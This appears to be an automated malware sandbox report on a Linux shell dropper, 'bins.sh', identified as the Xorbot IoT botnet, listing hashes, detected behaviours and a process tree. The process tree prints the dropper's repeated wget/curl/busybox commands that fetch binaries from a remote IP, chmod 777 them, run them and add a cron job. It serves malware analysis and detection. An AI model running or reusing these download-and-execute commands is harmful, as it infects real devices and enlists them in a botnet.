Analysis
-
max time kernel
149s -
max time network
150s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
-
submitted
14/12/2024, 04:02
General
-
Target
bins.sh
-
Size
10KB
-
MD5
21d9061cd96a1588f3c6dcb8fa140a60
-
SHA1
0efd102495e37192c6b694413ce46bed5bac8026
-
SHA256
e33425dc169277128881be12ab52e7ae8f2072479f15b71e125b5f43c61b9de0
-
SHA512
6962a8480f12d364ac515953a856240c1621888f7d5a025d2056e86cfb3deb9553758de328eec3a244985e7dbc475391353ae3ae1cc3e41a35ad3c6ca4be4390
-
SSDEEP
192:dDHu33wjAodqJsIqjfEPf9ntRg/hx32XmSZC6BMusoXAgXAodqJsEDHu33EtRg/K:TjAodosIqjfEPfa2XmSZC6BMeAodosYh
Malware Config
Signatures
-
Detects Xorbot 2 IoCs
-
Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
-
Xorbot family
-
Contacts a large (2173) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 7 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Executes dropped EXE 7 IoCs
-
Renames itself 1 IoCs
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to tmp directory 11 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
-
/bin/rm/bin/rm bins.sh2⤵
-
-
/usr/bin/wgetwget http://37.44.238.68/bins/4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb2⤵
-
-
/usr/bin/curlcurl -O http://37.44.238.68/bins/4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb2⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox wget http://37.44.238.68/bins/4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb2⤵
-
-
/bin/chmodchmod 777 4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb2⤵
- File and Directory Permissions Modification
-
-
/tmp/4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb./4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb2⤵
- Executes dropped EXE
-
-
/bin/rmrm 4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb2⤵
-
-
/usr/bin/wgetwget http://37.44.238.68/bins/Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O2⤵
-
-
/usr/bin/curlcurl -O http://37.44.238.68/bins/Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O2⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox wget http://37.44.238.68/bins/Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O2⤵
-
-
/bin/chmodchmod 777 Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O2⤵
- File and Directory Permissions Modification
-
-
/tmp/Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O./Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O2⤵
- Executes dropped EXE
-
-
/bin/rmrm Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O2⤵
-
-
/usr/bin/wgetwget http://37.44.238.68/bins/JOJdK71Bpr634tpryNQPJWSCmZKXa6dqLD2⤵
-
-
/usr/bin/curlcurl -O http://37.44.238.68/bins/JOJdK71Bpr634tpryNQPJWSCmZKXa6dqLD2⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox wget http://37.44.238.68/bins/JOJdK71Bpr634tpryNQPJWSCmZKXa6dqLD2⤵
-
-
/bin/chmodchmod 777 JOJdK71Bpr634tpryNQPJWSCmZKXa6dqLD2⤵
- File and Directory Permissions Modification
-
-
/tmp/JOJdK71Bpr634tpryNQPJWSCmZKXa6dqLD./JOJdK71Bpr634tpryNQPJWSCmZKXa6dqLD2⤵
- Executes dropped EXE
-
-
/bin/rmrm JOJdK71Bpr634tpryNQPJWSCmZKXa6dqLD2⤵
-
-
/usr/bin/wgetwget http://37.44.238.68/bins/lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY2⤵
-
-
/usr/bin/curlcurl -O http://37.44.238.68/bins/lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY2⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox wget http://37.44.238.68/bins/lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY2⤵
-
-
/bin/chmodchmod 777 lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY2⤵
- File and Directory Permissions Modification
-
-
/tmp/lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY./lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY2⤵
- Executes dropped EXE
-
-
/bin/rmrm lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY2⤵
-
-
/usr/bin/wgetwget http://37.44.238.68/bins/2FnzgXsZcZw61NF8Dbdnvf2Xxjr6KKcLF92⤵
-
-
/usr/bin/curlcurl -O http://37.44.238.68/bins/2FnzgXsZcZw61NF8Dbdnvf2Xxjr6KKcLF92⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox wget http://37.44.238.68/bins/2FnzgXsZcZw61NF8Dbdnvf2Xxjr6KKcLF92⤵
-
-
/bin/chmodchmod 777 2FnzgXsZcZw61NF8Dbdnvf2Xxjr6KKcLF92⤵
- File and Directory Permissions Modification
-
-
/tmp/2FnzgXsZcZw61NF8Dbdnvf2Xxjr6KKcLF9./2FnzgXsZcZw61NF8Dbdnvf2Xxjr6KKcLF92⤵
- Executes dropped EXE
-
-
/bin/rmrm 2FnzgXsZcZw61NF8Dbdnvf2Xxjr6KKcLF92⤵
-
-
/usr/bin/wgetwget http://37.44.238.68/bins/eaVnEsZQSTVJfYgQws7CrUcpoOZDH6RflW2⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://37.44.238.68/bins/eaVnEsZQSTVJfYgQws7CrUcpoOZDH6RflW2⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox wget http://37.44.238.68/bins/eaVnEsZQSTVJfYgQws7CrUcpoOZDH6RflW2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 eaVnEsZQSTVJfYgQws7CrUcpoOZDH6RflW2⤵
- File and Directory Permissions Modification
-
-
/tmp/eaVnEsZQSTVJfYgQws7CrUcpoOZDH6RflW./eaVnEsZQSTVJfYgQws7CrUcpoOZDH6RflW2⤵
- Executes dropped EXE
-
-
/bin/rmrm eaVnEsZQSTVJfYgQws7CrUcpoOZDH6RflW2⤵
-
-
/usr/bin/wgetwget http://37.44.238.68/bins/qrmfBQiMyNacVucS3CoshlP5M1Ujrd6fiy2⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://37.44.238.68/bins/qrmfBQiMyNacVucS3CoshlP5M1Ujrd6fiy2⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox wget http://37.44.238.68/bins/qrmfBQiMyNacVucS3CoshlP5M1Ujrd6fiy2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 qrmfBQiMyNacVucS3CoshlP5M1Ujrd6fiy2⤵
- File and Directory Permissions Modification
-
-
/tmp/qrmfBQiMyNacVucS3CoshlP5M1Ujrd6fiy./qrmfBQiMyNacVucS3CoshlP5M1Ujrd6fiy2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
-
/bin/shsh -c "crontab -l"3⤵
-
/usr/bin/crontabcrontab -l4⤵
-
-
-
/bin/shsh -c "crontab -"3⤵
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
-
-
-
-
/bin/rmrm qrmfBQiMyNacVucS3CoshlP5M1Ujrd6fiy2⤵
-
-
/usr/bin/wgetwget http://37.44.238.68/bins/gKfEzPQvKiNARUevJcGLOieFLlb9t3fqhq2⤵
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
-
Filesize
111KB
MD5ca897a38f23ec23521ce0b1b83f8422d
SHA1b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA256043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
SHA51210d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
-
Filesize
176B
MD5e1732e70f015e99d14dff1eeeaec9966
SHA1c28358cd15b9a0bea63c5b2ed0c9b8d5cb006113
SHA2566de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e
SHA5126ac4f83ce675f8a7855c18eea51c654f19e66bfa335a5125d06ceb4293ecef3a6a12a4e57809e9531dd13b83e1d591e476973e88094fa361c0847dbdeb5923a7
-
Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
-
Filesize
210B
MD580f8b362149af66e681e785b47ea8e76
SHA16dd756ae913513bbf2c4d682db5629ed69c15ae6
SHA25672a68ea32aeeab42429ee59fb3e19ac5664fb03f5818141060d3d7855715c897
SHA512d44f4d560174baa00a696bb0e43024445c0a7f8ee425b7993a830fd0a6d23170bb85895b7f55fb51c42f8a0d4ed97a627a78d4ce897ec9a0fffb8b99975bc669